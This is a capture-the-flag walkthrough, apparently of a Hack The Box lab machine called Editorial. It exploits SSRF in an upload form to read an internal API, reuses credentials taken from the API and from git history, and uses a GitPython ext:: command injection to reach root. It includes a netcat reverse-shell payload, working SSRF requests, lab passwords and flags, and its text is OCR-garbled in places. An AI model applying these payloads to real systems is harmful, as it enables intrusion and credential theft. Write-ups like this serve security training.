
Editorial


First we using map for port scanning

```
·(kali®kali)-[~/htb/editorial]
 <u>sudo</u> nmap -sS -sV -sC 10.10.11.20
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-23 10:42 EDT
Nmap scan report for editorial.htb (10.10.11.20)
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
                    OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
 ssh-hostkey:
   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
   256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 35.24 seconds
```

 The lab has port 80 for http service so we can access the website for enumerate



• When go the the fupload, we can see it has a form and a upload file. We can try to up a payload and using netcat to catch up the request



- Didn't achieve anything
- Looking at the preview when we click on, it automatic renamed the file name and removed the extension

```
Q editorial.htb/static/uploads/13533a93-d85f-426d-bfb7-77eaa69b6786
```

It may be vulnerable to SSRF. Using burp suite to intercept the resquest

```
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=------20271418981313235823746097334
Content-Length: 386
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload
-----20271418981313235823746097334
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1/
               -----20271418981313235823746097334
Content-Disposition: form-data; name="bookfile"; filename="rev"
Content-Type: application/octet-stream
nc 10.10.14.92 1234 -e sh
------20271418981313235823746097334--
```

The respone is showing a image directory location

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 23 Jun 2024 14:56:12 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 61
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
```

 The machine might have another port running loacally, we can bruteforce the port using burp intruder, and add a port number from 1–65535

```
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----------------------151437212410115833021494204890
Content-Length: 360
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload
-----151437212410115833021494204890
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:5port5
   -----151437212410115833021494204890
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----151437212410115833021494204890--
```

• After bruteforce, we can see port 5000 return different result. lets see the response from port 5000

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 23 Jun 2024 15:03:01 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 51
static/uploads/146cd970-8f4f-4d9d-addb-e0c6e4e34e17
```

• The port 5000 has an api endpoint so we can send a request to the api endpoint from burp suite and then read the file contents

```
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=------151437212410115833021494204890
Content-Length: 341
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload
-----151437212410115833021494204890
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:5000/api/latest/metadata/messages/authors
-----151437212410115833021494204890
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----151437212410115833021494204890--
```

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)

Date: Sun, 23 Jun 2024 15:11:54 GMT Content-Type: text/html; charset=utf-8

Connection: close Content-Length: 51

static/uploads/18c4e784-81af-4d3b-97c9-351221c1ecf3



 The file contents has a credentials of user dev. we can use this credentials in ssh

Username: dev

Password: dev080217_devAPI!@

• Login as dev via ssh

```
—(kali®kali)-[~/htb/editorial]
└$ ssh dev@editorial.htb
The authenticity of host 'editorial.htb (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added deditorial.htb/ (ED25519) to the list of known hosts.
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
 * Documentation: https://help.ubuntu.com
 * Management: _ meshttps://landscape.canonical.com
 * Support:
                 https://ubuntu.com/pro
 System information as of Sun Jun 23 05:03:22 AM UTC 2024
  System load:
                         0.0
  Usage of /:
                         60.5% of 6.35GB
  Memory usage:
                         12%
  Swap usage:
                         0%
  Processes:
                         225
  Users logged in:
                         0
  IPv4 address for eth0: 10.10.11.20
  IPv6 address for eth0: dead:beef::250:56ff:feb0:4628
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
```

The user flag

```
dev@editorial:~$ ls
apps user.txt
dev@editorial:~$ cat user.txt
c2997d5e5d3140fe7c9789985dedc856
```

 Looking at home directory, we can see apps folder and the apps folder contains .git

```
dev@editorial:~$ ll
total 32
drwxr-x- 4 dev dev 4096 Jun 5 14:36 ./
drwxr-xr-x 4 root root 4096 Jun 5 14:36 ../
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 apps/
                         9 Feb 6 2023 .bash_history → /dev/null
lrwxrwxrwx 1 root root
-rw-r--r-- 1 dev
                       220 Jan 6 2022 .bash_logout
                 dev
-rw-r--r-- 1 dev
                      3771 Jan 6 2022 .bashrc
                 dev
                 dev 4096 Jun 5 14:36 .cache/
drwx---- 2 dev
                       807 Jan 6 2022 .profile
-rw-r--r-- 1 dev dev
         - 1 root dev
                        33 Jun 23 02:27 user.txt
dev@editorial:~$ cd apps
dev@editorial:~/apps$ ll
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 ./
drwxr-x- 4 dev dev 4096 Jun 5 14:36 ../
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git/
```

Using git log to shows list of all the commits made to a repository

```
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD → master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
       Sun Apr 30 21:04:21 2023 -0500
    fix: bugfix in api port endpoint
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30/21:01:11 2023 -0500
    change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
       Sun Apr 30/20:55:08 2023 -0500
Date:
    change(api): downgrading prod to dev
    * To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
       Sun Apr 30 20:51:10 2023 -0500
    feat: create api to editorial info
    * It (will) contains internal info about the editorial, this enable
       faster access to information.
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
       Sun Apr 30 20:48:43 2023 -0500
    feat: create editorial app
    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.
```

• The commit 1e84a036b2f33c59e2390730699a488c65643d28 may contains internal info about the editorial. Use git show to read the contents

```
dev@editorial:~/apps$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
       Sun Apr 30 20:51:10 2023 -0500
Date: no
    feat: create api to editorial info
    * It (will) contains internal info about the editorial, this enable
       faster access to information.
diff --git a/app_api/app.py b/app_api/app.py
new file mode 100644
index 0000000 .. 61b786f
 — /dev/null
+++ b/app_api/app.py
+# API (in development).
+# * To retrieve info about editorial
+import json
+from flask import Flask, jsonify
+# App configuration
+app = Flask(__name__)
+# Global Variables
+api_route = "/api/latest/metadata"
+api_editorial_name = "Editorial Tiempo Arriba"
+api_editorial_email = "info@tiempoarriba.htb"
+# API routes
     data_editorial = {
          'version': [{
                  'contact_email_1': 'soporte@tiempoarriba.oc',
'contact_email_2': 'info@tiempoarriba.oc',
                  'api route': '/api/v1/metadata/'
```

We found the credentials of prod user

username: prod

password: 080217_Producti0n_2023!

Login as prod

```
(kali® kali)-[~/htb/editorial]
$ ssh prod@editorial.htb
prod@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/pro

System information as of Sun Jun 23 05:10:29 AM UTC 2024
```

sudo -l to listing the privileges prod user can use as root

```
prod@editorial:/$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
```

Vewing file clone_prod_change.py

```
prod@editorial:/opt/internal_apps/clone_changes$ cat clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
```

 This codeing using git library to perform clone operation. Next, we will check the version using pip3 list

GitPython hesitate to 3.1.29

 This version has RCE vulnerability. Here is the <u>POC</u>. This POC is making a file named pwned in /tmp folder

```
prod@editorial:/opt/internal_apps/clone_changes$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_c
hange.py 'ext::sh -c touch% /tmp/pwned'
[sudo] password for prod:
Traceback (most recent call last):
    File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
        r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
    File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
        return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
    File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
        finalize_process(proc, stderr=stderr)
    File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
        proc.wait(**kwargs)
    File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
        raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
    cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/pwned new_changes
    stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
```

We found the root flag

Editorial S